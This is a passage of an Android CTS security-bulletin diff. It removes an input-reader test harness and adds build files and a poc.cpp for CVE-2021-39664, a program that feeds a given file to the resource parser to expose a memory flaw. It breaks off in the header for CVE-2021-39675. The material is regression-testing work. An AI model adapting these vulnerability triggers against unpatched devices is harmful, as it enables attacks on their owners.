- std::vector<VirtualKeyDefinition> virtualKeys; - bool enabled; - - status_t enable() { - enabled = true; - return OK; - } - - status_t disable() { - enabled = false; - return OK; - } - - explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {} - }; - - std::mutex mLock; - std::condition_variable mEventsCondition; - - KeyedVector<int32_t, Device*> mDevices; - std::vector<std::string> mExcludedDevices; - std::vector<RawEvent> mEvents GUARDED_BY(mLock); - std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames; - std::vector<int32_t> mVibrators = {0, 1}; - std::unordered_map<int32_t, RawLightInfo> mRawLightInfos; - // Simulates a device light brightness, from light id to light brightness. - std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness; - // Simulates a device light intensities, from light id to light intensities map. - std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>> - mLightIntensities; - -public: - virtual ~TestEventHub() { - for (size_t i = 0; i < mDevices.size(); i++) { - delete mDevices.valueAt(i); - } - } - - TestEventHub() {} - - void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) { - Device* device = new Device(classes); - device->identifier.name = name; - mDevices.add(deviceId, device); - - enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0); - } - - void removeDevice(int32_t deviceId) { - delete mDevices.valueFor(deviceId); - mDevices.removeItem(deviceId); - - enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0); - } - - bool isDeviceEnabled(int32_t deviceId) { - Device* device = getDevice(deviceId); - if (device == nullptr) { - ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); - return false; - } - return device->enabled; - } - - status_t enableDevice(int32_t deviceId) { - status_t result; - Device* device = getDevice(deviceId); - if (device == nullptr) { - ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); - return BAD_VALUE; - } - if (device->enabled) { - ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId); - return OK; - } - result = device->enable(); - return result; - } - - status_t disableDevice(int32_t deviceId) { - Device* device = getDevice(deviceId); - if (device == nullptr) { - ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__); - return BAD_VALUE; - } - if (!device->enabled) { - ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId); - return OK; - } - return device->disable(); - } - - void finishDeviceScan() { - enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0); - } - - void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) { - Device* device = getDevice(deviceId); - device->configuration.addProperty(key, value); - } - - void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) { - Device* device = getDevice(deviceId); - device->configuration.addAll(configuration); - } - - void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat, - int fuzz, int resolution = 0) { - Device* device = getDevice(deviceId); - - RawAbsoluteAxisInfo info; - info.valid = true; - info.minValue = minValue; - info.maxValue = maxValue; - info.flat = flat; - info.fuzz = fuzz; - info.resolution = resolution; - device->absoluteAxes.add(axis, info); - } - - void addRelativeAxis(int32_t deviceId, int32_t axis) { - Device* device = getDevice(deviceId); - device->relativeAxes.add(axis, true); - } - - void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) { - Device* device = getDevice(deviceId); - device->keyCodeStates.replaceValueFor(keyCode, state); - } - - void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) { - Device* device = getDevice(deviceId); - device->scanCodeStates.replaceValueFor(scanCode, state); - } - - void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) { - Device* device = getDevice(deviceId); - device->switchStates.replaceValueFor(switchCode, state); - } - - void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) { - Device* device = getDevice(deviceId); - device->absoluteAxisValue.replaceValueFor(axis, value); - } - - void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode, - uint32_t flags) { - Device* device = getDevice(deviceId); - KeyInfo info; - info.keyCode = keyCode; - info.flags = flags; - if (scanCode) { - device->keysByScanCode.add(scanCode, info); - } - if (usageCode) { - device->keysByUsageCode.add(usageCode, info); - } - } - - void addLed(int32_t deviceId, int32_t led, bool initialState) { - Device* device = getDevice(deviceId); - device->leds.add(led, initialState); - } - - void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType, - int32_t sensorDataIndex) { - Device* device = getDevice(deviceId); - SensorInfo info; - info.sensorType = sensorType; - info.sensorDataIndex = sensorDataIndex; - device->sensorsByAbsCode.emplace(absCode, info); - } - - void setMscEvent(int32_t deviceId, int32_t mscEvent) { - Device* device = getDevice(deviceId); - typename BitArray<MSC_MAX>::Buffer buffer; - buffer[mscEvent / 32] = 1 << mscEvent % 32; - device->mscBitmask.loadFromBuffer(buffer); - } - - void addRawLightInfo(int32_t rawId, RawLightInfo&& info) { - mRawLightInfos.emplace(rawId, std::move(info)); - } - - void testLightBrightness(int32_t rawId, int32_t brightness) { - mLightBrightness.emplace(rawId, brightness); - } - - void testLightIntensities(int32_t rawId, - const std::unordered_map<LightColor, int32_t> intensities) { - mLightIntensities.emplace(rawId, std::move(intensities)); - } - - bool getLedState(int32_t deviceId, int32_t led) { - Device* device = getDevice(deviceId); - return device->leds.valueFor(led); - } - - std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; } - - void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) { - Device* device = getDevice(deviceId); - device->virtualKeys.push_back(definition); - } - - void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code, - int32_t value) { - std::scoped_lock<std::mutex> lock(mLock); - RawEvent event; - event.when = when; - event.readTime = readTime; - event.deviceId = deviceId; - event.type = type; - event.code = code; - event.value = value; - mEvents.push_back(event); - - if (type == EV_ABS) { - setAbsoluteAxisValue(deviceId, code, value); - } - } - - void setVideoFrames( - std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) { - mVideoFrames = std::move(videoFrames); - } - -private: - Device* getDevice(int32_t deviceId) const { - ssize_t index = mDevices.indexOfKey(deviceId); - return index >= 0 ? mDevices.valueAt(index) : nullptr; - } - - Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override { - Device* device = getDevice(deviceId); - return device ? device->classes : Flags<InputDeviceClass>(0); - } - - InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override { - Device* device = getDevice(deviceId); - return device ? device->identifier : InputDeviceIdentifier(); - } - - int32_t getDeviceControllerNumber(int32_t) const override { return 0; } - - void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override { - Device* device = getDevice(deviceId); - if (device) { - *outConfiguration = device->configuration; - } - } - - status_t getAbsoluteAxisInfo(int32_t deviceId, int axis, - RawAbsoluteAxisInfo* outAxisInfo) const override { - Device* device = getDevice(deviceId); - if (device && device->enabled) { - ssize_t index = device->absoluteAxes.indexOfKey(axis); - if (index >= 0) { - *outAxisInfo = device->absoluteAxes.valueAt(index); - return OK; - } - } - outAxisInfo->clear(); - return -1; - } - - bool hasRelativeAxis(int32_t deviceId, int axis) const override { - Device* device = getDevice(deviceId); - if (device) { - return device->relativeAxes.indexOfKey(axis) >= 0; - } - return false; - } - - bool hasInputProperty(int32_t, int) const override { return false; } - - bool hasMscEvent(int32_t deviceId, int mscEvent) const override final { - Device* device = getDevice(deviceId); - if (device) { - return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false; - } - return false; - } - - status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState, - int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override { - Device* device = getDevice(deviceId); - if (device) { - const KeyInfo* key = getKey(device, scanCode, usageCode); - if (key) { - if (outKeycode) { - *outKeycode = key->keyCode; - } - if (outFlags) { - *outFlags = key->flags; - } - if (outMetaState) { - *outMetaState = metaState; - } - return OK; - } - } - return NAME_NOT_FOUND; - } - - const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const { - if (usageCode) { - ssize_t index = device->keysByUsageCode.indexOfKey(usageCode); - if (index >= 0) { - return &device->keysByUsageCode.valueAt(index); - } - } - if (scanCode) { - ssize_t index = device->keysByScanCode.indexOfKey(scanCode); - if (index >= 0) { - return &device->keysByScanCode.valueAt(index); - } - } - return nullptr; - } - - status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; } - - base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId, - int32_t absCode) { - Device* device = getDevice(deviceId); - if (!device) { - return Errorf("Sensor device not found."); - } - auto it = device->sensorsByAbsCode.find(absCode); - if (it == device->sensorsByAbsCode.end()) { - return Errorf("Sensor map not found."); - } - const SensorInfo& info = it->second; - return std::make_pair(info.sensorType, info.sensorDataIndex); - } - - void setExcludedDevices(const std::vector<std::string>& devices) override { - mExcludedDevices = devices; - } - - size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override { - std::scoped_lock lock(mLock); - - const size_t filledSize = std::min(mEvents.size(), bufferSize); - std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer); - - mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize); - mEventsCondition.notify_all(); - return filledSize; - } - - std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override { - auto it = mVideoFrames.find(deviceId); - if (it != mVideoFrames.end()) { - std::vector<TouchVideoFrame> frames = std::move(it->second); - mVideoFrames.erase(deviceId); - return frames; - } - return {}; - } - - int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->scanCodeStates.indexOfKey(scanCode); - if (index >= 0) { - return device->scanCodeStates.valueAt(index); - } - } - return AKEY_STATE_UNKNOWN; - } - - int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->keyCodeStates.indexOfKey(keyCode); - if (index >= 0) { - return device->keyCodeStates.valueAt(index); - } - } - return AKEY_STATE_UNKNOWN; - } - - int32_t getSwitchState(int32_t deviceId, int32_t sw) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->switchStates.indexOfKey(sw); - if (index >= 0) { - return device->switchStates.valueAt(index); - } - } - return AKEY_STATE_UNKNOWN; - } - - status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis, - int32_t* outValue) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->absoluteAxisValue.indexOfKey(axis); - if (index >= 0) { - *outValue = device->absoluteAxisValue.valueAt(index); - return OK; - } - } - *outValue = 0; - return -1; - } - - // Return true if the device has non-empty key layout. - bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes, - uint8_t* outFlags) const override { - bool result = false; - Device* device = getDevice(deviceId); - if (device) { - result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0; - for (size_t i = 0; i < numCodes; i++) { - for (size_t j = 0; j < device->keysByScanCode.size(); j++) { - if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) { - outFlags[i] = 1; - } - } - for (size_t j = 0; j < device->keysByUsageCode.size(); j++) { - if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) { - outFlags[i] = 1; - } - } - } - } - return result; - } - - bool hasScanCode(int32_t deviceId, int32_t scanCode) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->keysByScanCode.indexOfKey(scanCode); - return index >= 0; - } - return false; - } - - bool hasLed(int32_t deviceId, int32_t led) const override { - Device* device = getDevice(deviceId); - return device && device->leds.indexOfKey(led) >= 0; - } - - void setLedState(int32_t deviceId, int32_t led, bool on) override {} - - void getVirtualKeyDefinitions( - int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override { - outVirtualKeys.clear(); - - Device* device = getDevice(deviceId); - if (device) { - outVirtualKeys = device->virtualKeys; - } - } - - const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override { - return nullptr; - } - - bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override { - return false; - } - - void vibrate(int32_t, const VibrationElement&) override {} - - void cancelVibrate(int32_t) override {} - - std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; }; - - std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override { - return BATTERY_CAPACITY; - } - - std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override { - return BATTERY_STATUS; - } - - const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; } - - std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) { - return std::nullopt; - } - - const std::vector<int32_t> getRawLightIds(int32_t deviceId) override { - std::vector<int32_t> ids; - for (const auto& [rawId, info] : mRawLightInfos) { - ids.push_back(rawId); - } - return ids; - } - - std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override { - auto it = mRawLightInfos.find(lightId); - if (it == mRawLightInfos.end()) { - return std::nullopt; - } - return it->second; - } - - void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override { - mLightBrightness.emplace(lightId, brightness); - } - - void setLightIntensities(int32_t deviceId, int32_t lightId, - std::unordered_map<LightColor, int32_t> intensities) override { - mLightIntensities.emplace(lightId, intensities); - }; - - std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override { - auto lightIt = mLightBrightness.find(lightId); - if (lightIt == mLightBrightness.end()) { - return std::nullopt; - } - return lightIt->second; - } - - std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities( - int32_t deviceId, int32_t lightId) override { - auto lightIt = mLightIntensities.find(lightId); - if (lightIt == mLightIntensities.end()) { - return std::nullopt; - } - return lightIt->second; - }; - - virtual bool isExternal(int32_t) const { return false; } - - void dump(std::string&) override {} - - void monitor() override {} - - void requestReopenDevices() override {} - - void wake() override {} -}; - -// --- TestInputMapper--- - -class TestInputMapper : public InputMapper { - uint32_t mSources; - int32_t mKeyboardType; - int32_t mMetaState; - KeyedVector<int32_t, int32_t> mKeyCodeStates; - KeyedVector<int32_t, int32_t> mScanCodeStates; - KeyedVector<int32_t, int32_t> mSwitchStates; - std::vector<int32_t> mSupportedKeyCodes; - - std::mutex mLock; - std::condition_variable mStateChangedCondition; - bool mConfigureWasCalled GUARDED_BY(mLock); - bool mResetWasCalled GUARDED_BY(mLock); - bool mProcessWasCalled GUARDED_BY(mLock); - RawEvent mLastEvent GUARDED_BY(mLock); - - std::optional<DisplayViewport> mViewport; - -public: - TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources) - : InputMapper(deviceContext), - mSources(sources), - mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE), - mMetaState(0), - mConfigureWasCalled(false), - mResetWasCalled(false), - mProcessWasCalled(false) {} - - virtual ~TestInputMapper() {} - - void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; } - - void setMetaState(int32_t metaState) { mMetaState = metaState; } - void setKeyCodeState(int32_t keyCode, int32_t state) { - mKeyCodeStates.replaceValueFor(keyCode, state); - } - - void setScanCodeState(int32_t scanCode, int32_t state) { - mScanCodeStates.replaceValueFor(scanCode, state); - } - - void setSwitchState(int32_t switchCode, int32_t state) { - mSwitchStates.replaceValueFor(switchCode, state); - } - - void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); } - -private: - uint32_t getSources() override { return mSources; } - - void populateDeviceInfo(InputDeviceInfo* deviceInfo) override { - InputMapper::populateDeviceInfo(deviceInfo); - - if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) { - deviceInfo->setKeyboardType(mKeyboardType); - } - } - - void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override { - std::scoped_lock<std::mutex> lock(mLock); - mConfigureWasCalled = true; - - // Find the associated viewport if exist. - const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort(); - if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) { - mViewport = config->getDisplayViewportByPort(*displayPort); - } - - mStateChangedCondition.notify_all(); - } - - void reset(nsecs_t) override { - std::scoped_lock<std::mutex> lock(mLock); - mResetWasCalled = true; - mStateChangedCondition.notify_all(); - } - - void process(const RawEvent* rawEvent) override { - std::scoped_lock<std::mutex> lock(mLock); - mLastEvent = *rawEvent; - mProcessWasCalled = true; - mStateChangedCondition.notify_all(); - } - - int32_t getKeyCodeState(uint32_t, int32_t keyCode) override { - ssize_t index = mKeyCodeStates.indexOfKey(keyCode); - return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN; - } - - int32_t getScanCodeState(uint32_t, int32_t scanCode) override { - ssize_t index = mScanCodeStates.indexOfKey(scanCode); - return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN; - } - - int32_t getSwitchState(uint32_t, int32_t switchCode) override { - ssize_t index = mSwitchStates.indexOfKey(switchCode); - return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN; - } - - // Return true if the device has non-empty key layout. - bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes, - uint8_t* outFlags) override { - for (size_t i = 0; i < numCodes; i++) { - for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) { - if (keyCodes[i] == mSupportedKeyCodes[j]) { - outFlags[i] = 1; - } - } - } - bool result = mSupportedKeyCodes.size() > 0; - return result; - } - - virtual int32_t getMetaState() { return mMetaState; } - - virtual void fadePointer() {} - - virtual std::optional<int32_t> getAssociatedDisplay() { - if (mViewport) { - return std::make_optional(mViewport->displayId); - } - return std::nullopt; - } -}; - -// --- InstrumentedInputReader --- - -class InstrumentedInputReader : public InputReader { - std::queue<std::shared_ptr<InputDevice>> mNextDevices; - -public: - InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub, - const sp<InputReaderPolicyInterface>& policy, - const sp<InputListenerInterface>& listener) - : InputReader(eventHub, policy, listener), mTestContext(this) {} - - virtual ~InstrumentedInputReader() {} - - void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); } - - std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name, - const std::string& location = "") { - InputDeviceIdentifier identifier; - identifier.name = name; - identifier.location = location; - int32_t generation = deviceId + 1; - return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier); - } - - // Make the protected loopOnce method accessible to tests. - using InputReader::loopOnce; - -protected: - virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId, - const InputDeviceIdentifier& identifier) - REQUIRES(mLock) { - if (!mNextDevices.empty()) { - std::shared_ptr<InputDevice> device(std::move(mNextDevices.front())); - mNextDevices.pop(); - return device; - } - return InputReader::createDeviceLocked(eventHubId, identifier); - } - - // --- TestInputReaderContext --- - class TestInputReaderContext : public ContextImpl { - int32_t mGlobalMetaState; - bool mUpdateGlobalMetaStateWasCalled; - int32_t mGeneration; - - public: - TestInputReaderContext(InputReader* reader) - : ContextImpl(reader), - mGlobalMetaState(0), - mUpdateGlobalMetaStateWasCalled(false), - mGeneration(1) {} - - virtual ~TestInputReaderContext() {} - - void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; } - - void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; } - - uint32_t getGeneration() { return mGeneration; } - - void updateGlobalMetaState() override { - mUpdateGlobalMetaStateWasCalled = true; - ContextImpl::updateGlobalMetaState(); - } - - int32_t getGlobalMetaState() override { - return mGlobalMetaState | ContextImpl::getGlobalMetaState(); - } - - int32_t bumpGeneration() override { - mGeneration = ContextImpl::bumpGeneration(); - return mGeneration; - } - } mTestContext; - -public: - TestInputReaderContext* getContext() { return &mTestContext; } -}; - -// --- InputMapperTest --- - -class InputMapperTest { -public: - std::shared_ptr<TestEventHub> mTestEventHub; - sp<TestInputReaderPolicy> mTestPolicy; - sp<TestInputListener> mTestListener; - std::unique_ptr<InstrumentedInputReader> mReader; - std::shared_ptr<InputDevice> mDevice; - - virtual void SetUp(Flags<InputDeviceClass> classes) { - mTestEventHub = std::make_unique<TestEventHub>(); - mTestPolicy = new TestInputReaderPolicy(); - mTestListener = new TestInputListener(); - mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy, - mTestListener); - mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes); - } - - void SetUp() { SetUp(DEVICE_CLASSES); } - - void TearDown() { - mTestListener.clear(); - mTestPolicy.clear(); - } - virtual ~InputMapperTest() {} - - void addConfigurationProperty(const char* key, const char* value) { - mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value)); - } - - void configureDevice(uint32_t changes) { - if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) { - mReader->requestRefreshConfiguration(changes); - mReader->loopOnce(); - } - mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes); - } - - std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name, - const std::string& location, int32_t eventHubId, - Flags<InputDeviceClass> classes) { - InputDeviceIdentifier identifier; - identifier.name = name; - identifier.location = location; - std::shared_ptr<InputDevice> device = - std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION, - identifier); - mReader->pushNextDevice(device); - mTestEventHub->addDevice(eventHubId, name, classes); - mReader->loopOnce(); - return device; - } - - template <class T, typename... Args> - T& addMapperAndConfigure(Args... args) { - T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...); - configureDevice(0); - mDevice->reset(ARBITRARY_TIME); - mapper.reset(ARBITRARY_TIME); - return mapper; - } - - void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height, - int32_t orientation, const std::string& uniqueId, - std::optional<uint8_t> physicalPort, - ViewportType viewportType) { - mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/, - uniqueId, physicalPort, viewportType); - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - } - - void clearViewports() { mTestPolicy->clearViewports(); } - - void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code, - int32_t value) { - RawEvent event; - event.when = when; - event.readTime = readTime; - event.deviceId = mapper.getDeviceContext().getEventHubId(); - event.type = type; - event.code = code; - event.value = value; - mapper.process(&event); - mReader->loopOnce(); - } - void Process_DeactivateViewport_AbortTouches(); -}; - -void InputMapperTest::Process_DeactivateViewport_AbortTouches() { - SetUp(); - addConfigurationProperty("touch.deviceType", "touchScreen"); - mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT, - DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT, - ViewportType::INTERNAL); - std::optional<DisplayViewport> optionalDisplayViewport = - mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID); - DisplayViewport displayViewport = *optionalDisplayViewport; - - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0); - mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0); - MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>(); - - // Finger down - int32_t x = 100, y = 100; - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); - - NotifyMotionArgs motionArgs; - - // Deactivate display viewport - displayViewport.isActive = false; - mTestPolicy->updateViewport(displayViewport); - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - - // Finger move - x += 10, y += 10; - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); - - // Reactivate display viewport - displayViewport.isActive = true; - mTestPolicy->updateViewport(displayViewport); - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - - // Finger move again - x += 10, y += 10; - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); -} - -} // namespace android - -int main() { - android::InputMapperTest inputMapperTest; - inputMapperTest.Process_DeactivateViewport_AbortTouches(); - return 0; -} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp new file mode 100644 index 00000000000..8fd68012c9c --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39664", + defaults: [ + "cts_hostsidetests_securitybulletin_defaults", + ], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + shared_libs: [ + "libandroidfw", + "libui", + ], + cflags: [ + "-DCHECK_OVERFLOW", + "-DENABLE_SELECTIVE_OVERLOADING", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp new file mode 100644 index 00000000000..0c477f6eb18 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp @@ -0,0 +1,65 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <androidfw/ApkAssets.h> + +#include <vector> +#include "../includes/common.h" +#include "../includes/memutils.h" + +using android::LoadedArsc; + +bool testInProgress = false; +char enable_selective_overload = ENABLE_NONE; +FILE *file = nullptr; + +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} + +void exitHandler(void) { + if (file) { + fclose(file); + file = nullptr; + } +} + +int main(int argc, char **argv) { + atexit(exitHandler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + FAIL_CHECK(argc >= 2); + file = fopen(argv[1], "r"); + FAIL_CHECK(file); + fseek(file, 0, SEEK_END); + size_t size = ftell(file); + fseek(file, 0, SEEK_SET); + enable_selective_overload = ENABLE_ALL; + std::vector<uint8_t> buffer(size); + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; + FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size); + testInProgress = true; + LoadedArsc::Load(buffer.data(), size); + testInProgress = false; + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp new file mode 100644 index 00000000000..b4bdd3c07f0 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39675", + compile_multilib: "64", + defaults: [ + "cts_hostsidetests_securitybulletin_defaults", + ], + srcs: [ + "poc.cpp", + ], + shared_libs: [ + "libnfc-nci", + ], + include_dirs: [ + "system/nfc/src/include", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp new file mode 100644 index 